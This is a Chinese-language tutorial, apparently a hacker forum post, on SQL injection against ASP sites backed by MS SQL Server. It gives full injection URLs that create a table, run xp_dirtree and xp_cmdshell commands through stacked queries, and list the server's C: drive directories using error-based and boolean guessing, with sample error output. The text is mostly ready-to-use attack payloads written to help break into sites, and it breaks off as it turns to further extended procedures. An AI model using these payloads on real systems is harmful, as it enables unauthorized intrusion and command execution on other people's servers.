如果網站只開了80端口,你會發現下面的方法是比較有用的,其中用的方法幾乎都不是我發現的,本文總包括一些注入時的個人經驗和技巧方法可以說有4種(現在已知的)
第一種方法:
這個是<<怪異的SQL注入>>中介紹的方法
利用sqlserver的xp_dirtree,好的我們先來將一下方法,然後再說其優劣處(在原文的基礎上作了點補充)
建立表
語句:http://www.xxxxx.com/down/list.ASP?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!說明建表成功!繼續!
(建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什麼用
語句:http://www.xxxxx.com/down/list.ASP?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --
返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。(好像只有暴這種方法了)
語句:http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
將 varchar 值 ’@Inetpub’轉換為數據類型為 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
語句:http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’))--
返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
將 varchar 值 ’test’轉換為數據類型為 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
好我們繼續
語句:http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’,’test’))--
返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
將 varchar 值 ’haha’轉換為數據類型為 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
好了,你應該知道怎麼做了吧,哈哈,就是把得到的表名添到那個括號裡,有多少就放多少吧,
一點技巧:
有時候你會發現當輸入類似
http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from dirs)-
時不是顯示出錯,而是網頁顯示正常
暈了吧,別緊張哈
看看0<>(select top 1 paths from dirs) 說明返回是一個數字,
哈哈,測試一下看看是多少吧
100>(select top 1 paths from dirs)
返回正常
哈哈,用這種大於小於的方法很快就能猜出了
好我們繼續
比如當出現
59=(select top 1 paths from dirs)
返回正常,
ok,說明名字是59
輸入如下
http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’59’))--
記得帶上引號喲
下面的方法就和原來的一樣的了
還有一個問題就是
有時候用上面的方法輸入59時,發現下一次的文件夾還是59
這個是怎麼回事情呢?
呵呵,不知道你有沒有注意過059和59是一樣的?
就是這個原因了,哈哈,
http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’059’))--
發現顯示下一個文件夾名字了,ok
優缺點分析:
優點就是所有的sqlserver用戶都可以使用,因為xp_dirtree適用權限PUBLIC,
缺點是顯示的是目錄下的所有文件夾的名字,而且排列好像是沒有什麼順序的,總之在好幾千好幾萬個文件夾裡找你想要的文件夾是痛苦的.
而且你知道了有那個文件夾也不能保證在根目錄下,實在是痛苦的一件事情呀,很多時候是靠運氣和耐力.
方法二:
利用xp_cmdshell
哈哈,這個大家一定很熟悉了吧,我就簡單說一下
建立表
語句:http://www.xxxxx.com/down/list.ASP?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!說明建表成功!繼續!
(建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什麼用
語句:http://www.xxxxx.com/down/list.ASP?id=1;insert dirs exec master.dbo.xp_cmdshell ’dir c:\ /B/D’ --
返回:正常信息。說明寫入C盤的所有目錄成功了!這裡用了dir c:\ /B/D,哈哈,不知道/B/D什麼作用就試驗試驗看
語句:http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
將 varchar 值 ’@Inetpub’轉換為數據類型為 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
語句:http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’))--
返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
將 varchar 值 ’test’轉換為數據類型為 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
方法同上,就不說了
有時候我們也可以用下面的兩個擴展來干些事情